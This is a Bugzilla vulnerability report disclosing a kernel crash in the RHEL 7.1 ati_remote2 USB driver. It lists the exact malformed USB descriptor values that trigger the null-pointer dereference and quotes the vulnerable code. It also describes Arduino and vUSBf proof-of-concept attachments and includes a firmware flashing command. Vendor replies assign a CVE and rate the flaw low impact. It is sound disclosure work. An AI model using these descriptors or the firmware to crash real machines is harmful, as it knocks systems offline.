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DescriptionRalf Spenneberg
2015-11-18 19:51:24 UTC
Description of problem:
Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on invalid
USB device descriptors (ati_remote2 driver bug2) [local-DoS]
Version-Release number of selected component (if applicable):
Kernel-Version: 3.10.0-229.20.1.el7.x86_64
How reproducible:
always
OpenSource Security Ralf Spenneberg
Am Bahnhof 3-5
48565 Steinfurt
info
Date: November 12th, 2015
Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg
CVE: not yet assigned
CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)
Title: Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on invalid
USB device descriptors (ati_remote2 driver) [local-DoS]
Severity: Critical. The Kernel panics. A reboot is required.
Ease of Exploitation: Trivial
Vulnerability type: Wrong input validation
Products: RHEL 7.1 including all updates
Kernel-Version: 3.10.0-229.20.1.el7.x86_64
(for debugging-purposes we used the CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7)
Abstract
The Kernel 3.10.0-229.20.1.el7.x86_64 crashes when presented a buggy USB
device which requires the ati_remote2 driver.
Detailed product description
We confirmed the bug on the following system:
RHEL 7.1
Kernel = 3.10.0-229.20.1.el7.x86_64
Further products or kernel versions have not been tested.
How reproducible: Always
Actual results: Kernel crashes
Description:
The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo
(github.com/schumilo) using the following device descriptor:
######### PAYLOAD 1 #########
[*] Device-Descriptor
bLength: 0x12
bDescriptorType: 0x1
bcdUSB: 0x200
bDeviceClass: 0xff
bDeviceSubClass: 0x0
bDeviceProtocol: 0x0
bMaxPacketSize: 0x40
idVendor: 0x471
idProduct: 0x602
bcdDevice: 0x100
iManufacturer: 0x1
iProduct: 0x2
iSerialNumbers: 0x3
bNumConfigurations: 0x1
This is the configuration descriptor containing two interface-descriptors.
The ati_remote2 driver assumes that there will be at least two interface-descriptors with associated endpoint-descriptors.
If one of them contains a zero-value for bNumEndpoints or no endpoint-descriptor is configured for the corresponding interface-descriptor, the ati_remote2 driver tries to dereference a null-pointer and the kernel crashes:
****
$ nm ati_remote2.ko.debug | grep ati_remote2_probe
0000000000001300 t ati_remote2_probe
$ addr2line -e ati_remote2.ko.debug 13ff
/usr/src/debug/kernel-3.10.0-229.14.1.el7/linux-3.10.0-229.14.1.el7.x86_64/drivers/input/misc/ati_remote2.c:646
****
**** CentOS-Kernel linux-3.10.0-229.14.1.el7 (drivers/input/misc/ati_remote2.c)
...
632 static int ati_remote2_urb_init(struct ati_remote2 *ar2)
633 {
...
646 pipe = usb_rcvintpipe(udev, ar2->ep[i]->bEndpointAddress); /* null-pointer derference */
647 maxp = usb_maxpacket(udev, pipe, usb_pipeout(pipe));
...
820 ar2->intf[0] = interface;
821 ar2->ep[0] = &alt->endpoint[0].desc; /* <-- possible null-pointer (interface-0) */
822
823 ar2->intf[1] = usb_ifnum_to_if(udev, 1);
824 r = usb_driver_claim_interface(&ati_remote2_driver, ar2->intf[1], ar2);
825 if (r)
826 goto fail1;
827 alt = ar2->intf[1]->cur_altsetting;
828 ar2->ep[1] = &alt->endpoint[0].desc; /* <-- possible null-pointer (interface-1) */
...
****
[*] Configuration-Descriptor
bLength: 0x9
bDescriptorType: 0x2
wTotalLength: 0x27
bNumInterfaces: 0x1
bConfigurationValue: 0x1
iConfiguration: 0x0
bmAttributes: 0x0
bMaxPower: 0x31
[*] Interface-Descriptor
bLength: 0x9
bDescriptorType: 0x4
bInterfaceNumber: 0x0
bAlternateSetting: 0x0
bNumEndpoints: 0x0 <-- malicious value for interface-0
bInterfaceClass: 0x0
bInterfaceSubClass: 0x0
bInterfaceProtocol: 0x0
[*] Endpoint-Descriptor
bLength: 0x7
bDescriptorType: 0x5
bEndpointAddress: 0x81
bmAttribut: 0x3
wMaxPacketSize: 0x404
bInterval: 0xc
[*] Interface-Descriptor
bLength: 0x9
bDescriptorType: 0x4
bInterfaceNumber: 0x0
bAlternateSetting: 0x0
bNumEndpoints: 0x0 <-- malicious value for interface-1
bInterfaceClass: 0x0
bInterfaceSubClass: 0x0
bInterfaceProtocol: 0x0
[*] Endpoint-Descriptor
bLength: 0x7
bDescriptorType: 0x5
bEndpointAddress: 0x81
bmAttribut: 0x3
wMaxPacketSize: 0x404
bInterval: 0xc
Proof of Concept:
1) The bug can be reproduced using USB-fuzzing framework vUSBf from Sergej Schumilo (github.com/schumilo).
The attached vUSBf-obj file contains the payload. Please let us know if you would like to use the Facedancer board.
In such case, we could also provide a patched version of vUSBf which allows to reproduce vUSBf-Payloads using the Facedancer board.
2) For a proof of concept we are providing also an Arduino firmware file. Just flash it
on Arduino Leonardo and plug it into any RHEL machine. The Arduino will
emulate the defective USB device.
avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U flash:w:binary.hex
The file binary.hex has been attached to this bug report.
To prevent automated sending of payloads, use a jumper to connect port D3 and
5V!
Severity and Ease of Exploitation
The security weakness can be easily exploited. Using our Arduino firmware only
physical access to the system is required.
Additional info:
Stacktrace, vUSBf-Payload, additional vUSBf-Descriptorfile and Arduino-Firmware attached.
Please assign a CVE for this issue since this is a local DoS of the targeted system.
CVSS 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)
Created attachment 1096262[details]
vUSBf Payload
The following attachments represents the case that both interface-descriptors contain malicious values. Thus, the kernel crashes at the first nullpointer-dereference. Please let us know if you need corresponding attachments to reproduce also the second nullpointer-dereference.
#### vUSBf-Payload:
This vUSBf-Payload requires a file named ati_remote2_bug2.txt located in vUSBf/dev_desc. This file is also attached to this bug-report (* see vUSBf-Descriptorfile *).
CVE-2016-2185 which is Red Hat's private CVE ID was assigned to this security flaw. Please, use it in the public communications regarding this flaw, thank you.
Thank you for reporting this flaw. The Product Security has rated this flaw as having low security impact (bz#1317014), so the patch is currently not planned to be added to the RHEL source trees. If accepted to the upstream, the patch may get to the RHEL trees later at the next USB subsystem code rebase.